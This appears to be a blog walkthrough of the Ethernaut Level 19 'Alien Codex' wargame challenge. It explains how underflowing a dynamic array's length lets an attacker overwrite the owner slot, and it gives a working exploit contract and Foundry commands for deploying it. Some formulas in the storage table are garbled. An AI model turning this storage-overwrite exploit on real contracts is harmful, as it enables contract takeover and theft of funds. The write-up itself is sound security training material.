Ethernaut Level 19 - Alien Codex

Ethernaut Level 19 - Alien Codex

Analysis and solution for Ethernaut's Level 19 - Alien Codex, with Solidity and Foundry

Objectives

Our only objective here is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.


Analysis

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }retract

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
      codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

We can see in the above contract that there's no owner variable. This is because it is coming from the inherited Ownable contract. If we look into the Ownable.sol, we can see that the variable address private _owner; is defined in the slot 0 of the contract. retract

pragma solidity ^0.5.0;

// some comments
contract Ownable {
    address private _owner;
...

Now that that's clear, let's learn how dynamic arrays work.

Assuming the dynamic array starts at a slot location p, then the slot p will contain the total number of elements stored in the array, and the actual array data will be stored at keccack256(p). More info on this can be found in the Solidity Docs.

Let's go through the organization of the storage layout in our vulnerable contract:

Slot NumberVariables
0bool public contact and address private _owner (both are in slot 0)
1codex.length (Number of elements in the dynamic array
....
....
keccak256(1)codex[0] (Array's first element)
keccak256(2) + 1codex[1] (Array's second element)
....
....
2256 - 1codex[2256 - 1 - unit(keccack256(1))
0codex[2256 - 1 - unit(keccack256(1)) + 1 (slot 0 access, remember overflows?)

To finish the level we need to do the following steps:

  1. Call the make_contact() function so that the contact is set to true. This will allow us to go through the contacted() modifier.
  2. Call the retract() function. This will decrease the codex.length by 1. And what happens when you subtract 1 from 0 (initial array position)? You get an underflow. This will change the codex.length to be 2256 which is also the total storage capacity of the contract. This will now allow us access to any variables stored in the contract.
  3. Call the revise() function to access the array at slot 0 and update the value of the _owner with our own address. The index i can be calculated as shown in the slot table above.
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;

The _content is of type bytes32 which means we need to convert our address to bytes32. This can be done using the following code:

bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));

The Exploit

Here's how the exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../instances/Ilevel19.sol";

contract AlienHack {
    AlienCodex level19 = AlienCodex(0x752dD58810d09984504e080098A0c3Cf26C9093e);

    function exploit () external {
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        level19.make_contact();
        level19.retract();
        level19.revise(index, myAddress);
    }
}

We are calculating the index on which the slot 0 exists, converting our address to bytes32. The function retract() is called to underflow the array and then it is updated using the revise() function which is storing our address into the _owner variable in slot 0.

Let's deploy the contract using the following command:

forge create AlienHack --private-key $PKEY --rpc-url $RPC_URL

and call our exploit() function which will make us the owner:

cast send 0xb8131b26fa82A0d09fd7Aa186F7157418774e192 "exploit()" --private-key $PKEY --rpc-url $RPC_URL

image.png

We can check the new owner through the console using await contract.owner(). The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..


Takeaways

Never allow modification of the array length of a dynamic array as they can overwrite the whole contract's storage using overflows and underflows.


References